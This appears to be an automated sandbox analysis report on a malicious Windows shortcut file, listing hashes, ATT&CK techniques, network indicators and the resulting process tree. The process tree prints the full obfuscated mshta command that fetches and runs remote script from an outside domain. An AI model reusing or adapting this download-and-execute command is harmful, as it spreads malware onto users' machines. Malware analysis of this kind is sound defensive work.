0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
02/08/2024, 12:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
Size

16KB
MD5

f42bf29a11a3feee10ba5c1e7c693f1e
SHA1

ed4c179341c429a86675d8d94e34cb97b112df78
SHA256

0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62
SHA512

8ce42c3456c527b5b182f5cb8f3118241d23d8c3f142b325c575f055cf6703d0ad0fedbe1740712e5e54bbe0503faf8847b20fc8bad340a8d506fca271847939
SSDEEP

384:zAmMYXKJXi7LLGNZYXENk+eZih4YMUEJvcCT9OfqDJt71W/9njZIG:JIXuGNj+Hkh4bvfk2jZ4ZtN

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	2724	mshta.exe
6	2724	mshta.exe
9	2724	mshta.exe
11	2724	mshta.exe
13	2724	mshta.exe
15	2724	mshta.exe
17	2724	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 3048	2356	cmd.exe	31
PID 2356 wrote to memory of 3048	2356	cmd.exe	31
PID 2356 wrote to memory of 3048	2356	cmd.exe	31
PID 3048 wrote to memory of 2724	3048	cmd.exe	32
PID 3048 wrote to memory of 2724	3048	cmd.exe	32
PID 3048 wrote to memory of 2724	3048	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:Off /D/c mShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\mshta.exe
    mShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab1180.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar123E.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit